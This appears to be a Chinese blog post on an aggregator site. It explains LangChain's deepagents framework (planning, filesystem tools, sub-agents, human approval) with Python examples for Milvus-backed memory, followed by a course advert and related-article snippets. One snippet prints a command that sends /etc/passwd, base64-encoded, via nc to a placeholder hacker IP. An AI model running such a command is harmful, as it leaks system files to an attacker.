LangChain 杀疯了!DeepAgents 横空出世,长任务稳健不崩,高可控简直无敌!

任务规划+文件系统访问+子agent委托

现如今,Agent 所需要执行的任务长度每几个月翻一番,长周期任务通常涉及数十次工具调用,这会带来成本和可靠性方面的问题。

那么,要如何解决?

deepagents 是 LangChain 推出的开源框架,通过规划、文件系统访问和子 agent 委托三大机制,可以对复杂长任务提供系统化解决方案。

本文将重点解读deepagents ,并给出它的部署、落地教程。

01

什么是 deepagents

deepagents 是 LangChain 团队开源的 agent 框架项目,专门用于解决长周期任务的执行问题,其核心能力有三:

任务规划(Planning):使用内置write_todosread_todos工具将复杂任务分解为结构化待办事项列表,agent 按列表执行并标记完成状态。

文件系统访问(Computer Access):提供lsread_filewrite_fileedit_fileglobgrep等工具,让 agent 能够读写文件、搜索文件内容。大型工具调用结果自动保存到文件,避免消耗上下文窗口。

子 agent 委托(Sub-agent Delegation):通过task工具将子任务委托给专门的子 agent 执行,每个子 agent 拥有独立的上下文窗口和工具集。

使用create_deep_agent创建的 agent 是编译后的 LangGraph StateGraph,可直接使用 LangGraph 的流式输出、检查点、人机交互等特性。

02

为什么要用deepagents?

长周期任务面临的核心挑战是上下文窗口限制与成本控制之间的矛盾。传统 agent 将所有工具调用结果堆入上下文,导致 token 成本激增,同时模型在海量信息中逐渐失焦。

deepagents 的解决思路是重新设计信息流架构:引入文件系统作为上下文缓冲区,大型工具结果自动写入文件,agent 上下文中仅保留路径引用。配合自动摘要和提示缓存机制,系统显著降低成本的同时保持任务执行效率。

此外,deepagents 通过引入TodoListMiddleware 要求 agent 在执行前分解任务,将复杂指令转化为可验证的原子步骤,可以避免因随机探索导致的失败。

在此基础上,SubAgentMiddleware还会 为子任务创建独立执行环境,不同任务的上下文互不干扰。

PatchToolCallsMiddleware 则用于处理人机交互中断场景,确保任务恢复后能正确继续。这些机制组合使用,将复杂任务的完成率大幅提升。

架构扩展性则来自模块化中间件设计。deepagents 将 Claude Code 和 Manus 验证的架构模式开源,通过每个能力封装为独立组件,开发者可以根据需求替换或扩展任意中间件,从而构建适合特定领域的 agent 系统。例如将文件存储迁移到云端只需替换 backend 实现。

03

deepagents 的定制能力

通用框架无法满足所有垂直领域的特定需求可以通过定制能力,deepagents 通过提供完整的可扩展机制,允许开发者根据业务场景定制 agent 。

开发者可以:集成专有工具和 API、定义领域特定的工作流程、控制 agent 行为符合业务规则、实现跨会话的知识积累和记忆管理。

以下是deepagents 支持的定制能力:

(1)System Prompt 定制

自定义 system prompt 会附加到中间件注入的默认指令之后,用于定义领域特定的工作流程和约束。

在使用中,我们要注意,应该在自定义 prompt 中包含

  • 领域工作流程:“数据分析任务先执行探索性分析,再构建模型”
  • 具体示例:“将相似的文献检索任务合并到一个待办事项”
  • 停止标准:“预算超过 100 次工具调用时停止”
  • 工具协同说明:“使用 grep 定位代码位置后再用 read_file 查看详细内容”

不应该包含

  • 重复中间件已有的工具使用说明
  • 与默认指令冲突的规则(例如禁止使用待办事项)

(2)Tools

deepagents 支持添加自定义工具到内置工具集。工具定义遵循标准 Python 函数签名,docstring 作为工具描述。

from deepagents import create_deep_agent def internet_search(query: str) -> str: """Run a web search""" return tavily_client.search(query) agent = create_deep_agent(tools=[internet_search]) MCP 工具集成通过 langchain-mcp-adapters 连接 Model Context Protocol 工具。
from langchain_mcp_adapters.client import MultiServerMCPClient from deepagents import create_deep_agent async def main(): mcp_client = MultiServerMCPClient(...) mcp_tools = await mcp_client.get_tools() agent = create_deep_agent(tools=mcp_tools) async for chunk in agent.astream({"messages": [{"role": "user", "content": "..."}]}): chunk["messages"][-1].pretty_print()

(3)Middleware

自定义 middleware 用于注入工具、修改提示或 hook agent 生命周期。

from langchain_core.tools import tool from deepagents import create_deep_agent from deepagents.middleware import AgentMiddleware @tool def get_weather(city: str) -> str: """Get the weather in a city.""" return f"The weather in {city} is sunny." class WeatherMiddleware(AgentMiddleware): tools = [get_weather] agent = create_deep_agent(middleware=[WeatherMiddleware()]) 内置 middleware 功能清单: (4)Subagents

主 agent 通过task工具将子任务委托给子 agent。子 agent 在隔离的上下文窗口中执行,拥有独立的工具集和系统提示。

from deepagents import create_deep_agent research_subagent = { "name": "research-agent", "description": "Used to research in-depth questions", "prompt": "You are an expert researcher", "tools": [internet_search], "model": "openai:gpt-4o", # Optional, defaults to main agent model } agent = create_deep_agent(subagents=[research_subagent]) 对于复杂情况,可以传入预先构建的 LangGraph:
from deepagents import CompiledSubAgent, create_deep_agent custom_graph = create_agent(model=..., tools=..., prompt=...) agent = create_deep_agent( subagents=[CompiledSubAgent( name="data-analyzer", description="Specialized agent for data analysis", runnable=custom_graph )] )

(5)interrupt_on

通过interrupt_on参数配置需要人工审批的工具,agent 会暂停执行等待人工反馈。

from langchain_core.tools import tool from deepagents import create_deep_agent from langgraph.checkpoint.memory import MemorySaver @tool def delete_file(path: str) -> str: """Delete a file from the filesystem.""" return f"Deleted {path}" agent = create_deep_agent( tools=[delete_file], interrupt_on={ "delete_file": { "allowed_decisions": ["approve", "edit", "reject"] } }, checkpointer=MemorySaver() )

(6)Backends 定制

配置不同的存储后端控制文件操作行为,支持 StateBackend(临时)、FilesystemBackend(本地磁盘)、

StoreBackend(持久化)、CompositeBackend(混合路由)。 from deepagents import create_deep_agent from deepagents.backends import FilesystemBackend agent = create_deep_agent( backend=FilesystemBackend(root_dir="/path/to/project") )

04

为什么deepagents 需要搭配Milvus使用

Agent 需要跨会话能力用于保存用户偏好配置、从多次对话中积累领域知识、记录反馈用于行为调整、维护跨会话的长期研究任务进度。

但是deepagents默认的 StateBackend 只支持单次会话存储,而持久化 backend 能够解决跨会话数据保留问题。

因此,我们需要引入Milvus 作为向量存储层,配合 StoreBackend 实现语义记忆的持久化。过程中,Agent 对话内容和重要工具结果会自动转换为 embedding 存储到 Milvus,每次任务执行时通过语义检索找回相关历史记忆。

Milvus 的计算存储分离架构能很好地支持 Agent 的高并发读写,可水平扩展至十亿级向量规模,同时支持高并发查询和流式数据实时更新,适合生产环境的 agent 记忆存储场景。

在这个方案中,deepagents 通过CompositeBackend实现混合存储,将不同路径路由到不同 backend:

  • /workspace//temp/→ StateBackend(临时文件)
  • /memories//knowledge/→ StoreBackend + Milvus(持久化数据)

使用CompositeBackend可以将特定路径(如/memories/)路由到持久化存储,实现跨会话记忆的具体配置代码请见下文的快速开始部分。

05

快速开始:构建带 Milvus 记忆的Agent

以下示例展示如何为 deepagents 添加持久化记忆。

步骤 1:安装依赖

pip install deepagents tavily-python langchain-milvus 步骤 2:配置记忆后端
from deepagents.backends import CompositeBackend, StateBackend, StoreBackend from langchain_milvus.storage import MilvusStore # from langgraph.store.memory import InMemoryStore # 仅测试用 # 配置 Milvus 存储 milvus_store = MilvusStore( collection_name="agent_memories", embedding_service=... # 这里需要 embedding,或者 MilvusStore 默认配置 ) backend = CompositeBackend( default=StateBackend(), routes={"/memories/": StoreBackend(store=InMemoryStore())} ) 步骤 3:创建 Agent
from tavily import TavilyClient import os tavily_client = TavilyClient(api_key=os.environ["TAVILY_API_KEY"]) def internet_search(query: str, max_results: int = 5) -> str: """执行网络搜索""" results = tavily_client.search(query, max_results=max_results) return " ".join([f"{r['title']}: {r['content']}" for r in results["results"]]) agent = create_deep_agent( tools=[internet_search], system_prompt="你是研究专家,将重要发现写入 /memories/ 目录以便跨会话复用", backend=backend ) 运行 agent result = agent.invoke({ "messages": [{"role": "user", "content": "研究 Milvus 向量数据库的技术特点"}] })

说明

  • /memories/路径下的文件会持久化存储,跨会话可访问
  • 替换InMemoryStore()可为 Milvus 适配器即可实现生产级语义检索
  • Agent 会自动将研究结果写入/memories/,下次任务时检索相关内容

06

内置工具概览

deepagents 通过中间件提供以下内置工具:

任务管理工具(TodoListMiddleware):

  • write_todos:创建结构化待办事项列表,包含任务描述、优先级、依赖关系
  • read_todos:读取当前待办事项状态,显示已完成和待处理的任务

文件系统工具(FilesystemMiddleware):

  • ls:列出目录中的文件,需要绝对路径(以/开头)
  • read_file:读取文件内容,支持分页参数(offset/limit)处理大文件
  • write_file:创建新文件或覆盖现有文件
  • edit_file:在文件中执行精确字符串替换
  • glob:使用模式匹配查找文件,例如**/*.py查找所有 Python 文件
  • grep:在文件中搜索文本模式
  • execute:在沙箱环境中执行 shell 命令(需要 backend 实现 SandboxBackendProtocol)

子 agent 委托工具(SubAgentMiddleware):

  • task:将子任务委托给专门的子 agent 执行,参数包括子 agent 名称和任务描述

工具使用模式

大型工具调用结果自动保存到文件。例如internet_search返回 100KB 内容时,FilesystemMiddleware 自动将结果写入/tool_results/internet_search_1.txt,agent 上下文中只保留文件路径,避免消耗 token。

07

写在最后

DeepAgents通过规划、文件系统、委托三大机制,可以将不可控的复杂agent流程转化为确定性的工作流。结合Milvus的向量检索能力,进一步赋予 Agent 跨会话的长期记忆。

对于开发者而言,这是一套真正打破 Token 限制、能从 Demo 走向 Production 的高可靠 Agent 架构方案。

如何学习大模型 AI ?

由于新岗位的生产效率,要优于被取代岗位的生产效率,所以实际上整个社会的生产效率是提升的。

但是具体到个人,只能说是:

“最先掌握AI的人,将会比较晚掌握AI的人有竞争优势”。

这句话,放在计算机、互联网、移动互联网的开局时期,都是一样的道理。

我在一线互联网企业工作十余年里,指导过不少同行后辈。帮助很多人得到了学习和成长。

我意识到有很多经验和知识值得分享给大家,也可以通过我们的能力和经验解答大家在人工智能学习中的很多困惑,所以在工作繁忙的情况下还是坚持各种整理和分享。但苦于知识传播途径有限,很多互联网行业朋友无法获得正确的资料得到学习提升,故此将并将重要的AI大模型资料包括AI大模型入门学习思维导图、精品AI大模型学习书籍手册、视频教程、实战学习等录播视频免费分享出来。

第一阶段(10天):初阶应用

该阶段让大家对大模型 AI有一个最前沿的认识,对大模型 AI 的理解超过 95% 的人,可以在相关讨论时发表高级、不跟风、又接地气的见解,别人只会和 AI 聊天,而你能调教 AI,并能用代码将大模型和业务衔接。

  • 大模型 AI 能干什么?
  • 大模型是怎样获得「智能」的?
  • 用好 AI 的核心心法
  • 大模型应用业务架构
  • 大模型应用技术架构
  • 代码示例:向 GPT-3.5 灌入新知识
  • 提示工程的意义和核心思想
  • Prompt 典型构成
  • 指令调优方法论
  • 思维链和思维树
  • Prompt 攻击和防范

第二阶段(30天):高阶应用

该阶段我们正式进入大模型 AI 进阶实战学习,学会构造私有知识库,扩展 AI 的能力。快速开发一个完整的基于 agent 对话机器人。掌握功能最强的大模型开发框架,抓住最新的技术进展,适合 Python 和 JavaScript 程序员。

  • 为什么要做 RAG
  • 搭建一个简单的 ChatPDF
  • 检索的基础概念
  • 什么是向量表示(Embeddings)
  • 向量数据库与向量检索
  • 基于向量检索的 RAG
  • 搭建 RAG 系统的扩展知识
  • 混合检索与 RAG-Fusion 简介
  • 向量模型本地部署

第三阶段(30天):模型训练

恭喜你,如果学到这里,你基本可以找到一份大模型 AI相关的工作,自己也能训练 GPT 了!通过微调,训练自己的垂直大模型,能独立训练开源多模态大模型,掌握更多技术方案。

到此为止,大概2个月的时间。你已经成为了一名“AI小子”。那么你还想往下探索吗?

  • 为什么要做 RAG
  • 什么是模型
  • 什么是模型训练
  • 求解器 & 损失函数简介
  • 小实验2:手写一个简单的神经网络并训练它
  • 什么是训练/预训练/微调/轻量化微调
  • Transformer结构简介
  • 轻量化微调
  • 实验数据集的构建

第四阶段(20天):商业闭环

对全球大模型从性能、吞吐量、成本等方面有一定的认知,可以在云端和本地等多种环境下部署大模型,找到适合自己的项目/创业方向,做一名被 AI 武装的产品经理。

  • 硬件选型
  • 带你了解全球大模型
  • 使用国产大模型服务
  • 搭建 OpenAI 代理
  • 热身:基于阿里云 PAI 部署 Stable Diffusion
  • 在本地计算机运行大模型
  • 大模型的私有化部署
  • 基于 vLLM 部署大模型
  • 案例:如何优雅地在阿里云私有部署开源大模型
  • 部署一套开源 LLM 项目
  • 内容安全
  • 互联网信息服务算法备案

学习是一个过程,只要学习就会有挑战。天道酬勤,你越努力,就会成为越优秀的自己。

如果你能在15天内完成所有的任务,那你堪称天才。然而,如果你能完成 60-70% 的内容,你就已经开始具备成为一名大模型 AI 的正确特征了。

这份完整版的大模型 AI 学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1124413.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大模型多Agent实战教程(非常详细):Agno与LangGraph全方位对比,从原理到生产部署全解析!

今天还是聊聊生产级agent怎么搭这回事。 前面几期内容,我们聊了agent 常见的坑有哪些,memory怎么管理,还有一些rerank细节,今天从部署层面看看怎么选一个不错的agent框架。 现如今,针对复杂场景,多agent架…

高级DoS攻击技术深度解析:Slowloris、SYN Flood与Hping3实战

前言 在上一篇文章中,我们介绍了DoS/DDoS攻击的基础理论以及SSL洪水、慢速POST等攻击技术。本文将继续深入探讨更多高级攻击手段,包括经典的Slowloris攻击、SYN Flood洪水攻击、DNS放大攻击,以及强大的Hping3工具的多种应用场景。这些技术是…

(85页PPT)以人为本创新驱动构建未来校园智慧后勤云平台(附下载方式)

篇幅所限,本文只提供部分资料内容,完整资料请看下面链接 (85页PPT)以人为本创新驱动构建未来校园智慧后勤云平台.pptx_PPT格式医疗信息化方案资源-CSDN下载 资料解读:以人为本创新驱动构建未来校园智慧后勤云平台 详…

嵌入式现代C++教程: 构造函数优化:初始化列表 vs 成员赋值

构造函数优化:初始化列表 vs 成员赋值 在嵌入式 C 项目中,我们很容易把精力放在“看得见”的地方:中断、DMA、时序、缓存命中率、Flash/RAM 占用……而对于构造函数这种“看起来只执行一次”的代码,往往下意识地放松了警惕。 但实…

别再给OpenAI送钱了!大模型自主化部署全方案,本地部署流程详解,省钱又安全!

“ 模型本地部署是运维人员的基本技能,也是开发人员的基本技能。” 在大模型应用中,数据安全问题是很多企业关注的重点,特别是政务,金融,医疗等领域,对数据安全性有着更高的要求。 因此,这时使…

加密数据传输技术

威胁场景 假设攻击者控制的Kali系统被入侵,需要通过加密方式传输敏感数据以避免被防火墙拦截。 Base64文本传输 场景1:Linux到Windows 目标机器(Linux): cat /etc/passwd | base64 | nc -nv [黑客IP] 3333 -q 1攻击者&…

链表专题(九):应用篇的无冕之王——「LRU 缓存机制」

场景想象: 你有一个书架(缓存),容量有限(比如只能放 3 本书)。 规则是 “最近最少使用 (Least Recently Used)” 淘汰: 读取:如果你读了一本书,它就变得“新鲜”了&…

嵌入式现代C++:移动语义不是玄学,是资源转移的工程实践

嵌入式现代C&#xff1a;移动语义不是玄学&#xff0c;是资源转移的工程实践 假设你在写一个USB数据传输层&#xff0c;需要把一个4KB的DMA缓冲区从接收队列传递到处理线程。你可能会这样写&#xff1a; class DMABuffer {std::array<uint8_t, 4096> data;size_t length;…

大模型Agent实战教程(非常详细):深入理解ReAct架构,彻底搞懂稳定性难题!

“ 大模型的能力有限&#xff0c;因此在智能体处理复杂任务时&#xff0c;我们需要通过提示词告诉模型复杂任务的处理方法。” 最近在研究模型部署和Langchain新版本框架时&#xff0c;突然想到一个问题&#xff0c;就是ReAct Agent智能体问题。 ReAct Agent智能体的运行原理…

重塑安全认知:图解物理与环境安全如何托起整个信息安全“金字塔”

信息安全&#xff1a;物理与环境安全技术. 传统上的物理安全也称为 实体安全 &#xff0c;是指包括 环境、设备和记录介质在内的所有支持网络信息系统运行的硬件的总体安全&#xff0c;是网络信息系统安全、可靠、不间断运行的基本保证&#xff0c;并且确保在信息进行加工处理…

Context Pruning全攻略:RAG效果提升的关键,带你从零掌握高质量上下文剪枝技术!

Context Pruning如何结合rerank&#xff0c;优化RAG上下文&#xff1f; 现如今&#xff0c;LLM的上下文窗口长度正在经历爆发式增长。 翻开LLM Leaderboard&#xff0c;可以发现顶级模型的上下文长度已经陆续突破了1M tokens&#xff0c;并且这个数字还在不断刷新。 但问题也…

如何避免性能测试的常见陷阱

性能测试的核心价值与挑战 性能测试是软件质量保障的关键环节&#xff0c;旨在评估系统在高负载、高并发下的响应能力、稳定性和可扩展性。对于测试从业者而言&#xff0c;它能暴露潜在瓶颈&#xff08;如数据库延迟或代码低效&#xff09;&#xff0c;预防线上故障。然而&…

深度测评10个一键生成论文工具,专科生毕业论文轻松搞定!

深度测评10个一键生成论文工具&#xff0c;专科生毕业论文轻松搞定&#xff01; AI 工具的崛起&#xff0c;让论文写作不再难 随着人工智能技术的不断进步&#xff0c;越来越多的 AI 工具开始进入学术写作领域&#xff0c;为学生和研究人员提供了强大的辅助支持。尤其是在降低 …

2026趋势:AI驱动性能优化

AI正重构性能测试的底层逻辑‌ 到2026年&#xff0c;AI已不再是软件测试中的“辅助工具”&#xff0c;而是‌性能优化的决策中枢‌。传统基于固定脚本、人工调参、静态基线的性能测试模式&#xff0c;正被‌自适应、可解释、低成本的AI驱动体系‌全面取代。测试工程师的角色&a…

打造专业作品的关键:优质正版素材网站推荐

在视觉内容主导的数字时代&#xff0c;无论是影视制作、广告宣传还是社交媒体内容&#xff0c;高质量的素材都是提升作品专业度的关键。然而&#xff0c;侵权风险日益增加&#xff0c;选择正版素材平台不仅保护创作者权益&#xff0c;更能确保项目的合法性和长久发展。本文将介…

大模型多Agent实战:Agno与LangGraph全方位解析,带你掌握快速落地生产的核心技术!

今天还是聊聊生产级agent怎么搭这回事。 前面几期内容&#xff0c;我们聊了agent 常见的坑有哪些&#xff0c;memory怎么管理&#xff0c;还有一些rerank细节&#xff0c;今天从部署层面看看怎么选一个不错的agent框架。 现如今&#xff0c;针对复杂场景&#xff0c;多agent架…

Angular页面跳转01,深入浅出 Angular Router:RouterModule 配置与路由出口核心解析

在单页应用&#xff08;SPA&#xff09;开发中&#xff0c;路由是连接不同页面视图的核心桥梁。Angular 作为成熟的前端框架&#xff0c;提供了功能强大的angular/router模块&#xff0c;让开发者能优雅地实现页面导航、视图切换。本文将聚焦 Angular Router 的两大基础核心 —…

Token 烧钱如流水?Eino Skills 神器登场!让 Agent 学会「按需加载」,彻底告别上下文过载!

面对复杂的业务逻辑&#xff0c;AI 助手不该是把所有说明书都背下来的“书呆子”&#xff0c;而应该是懂得根据任务按需查阅手册的“专家”。 一、痛点&#xff1a;Agent 的“全量加载”困境 在构建复杂的 AI Agent 时&#xff0c;我们往往会给它塞入几十个 Tool。随之而来的问…

2026年网络安全行业新趋势:这5大方向,决定你明年的职业高度

2026年网络安全行业新趋势&#xff1a;这5大方向&#xff0c;决定你明年的职业高度 元旦跨年&#xff0c;既是时间的节点&#xff0c;也是职业规划的新起点。 随着数字化进程的加速&#xff0c;网络安全已成为守护数字经济的核心防线&#xff0c;行业人才缺口持续扩大。据权威…

信息安全前沿技术核心聚焦:最值得关注的五大方向与学习路线图

目前信息安全领域&#xff08;不限于技术层面&#xff09;有哪些前沿的研究方向&#xff0c;代表人物有哪些&#xff1f;有哪些新的研究成果&#xff1f;以及从哪些地方可以获得这些咨询&#xff1f; 我在做 system 方向的安全研究&#xff0c;最近发现其实中美两国都在 TEE (…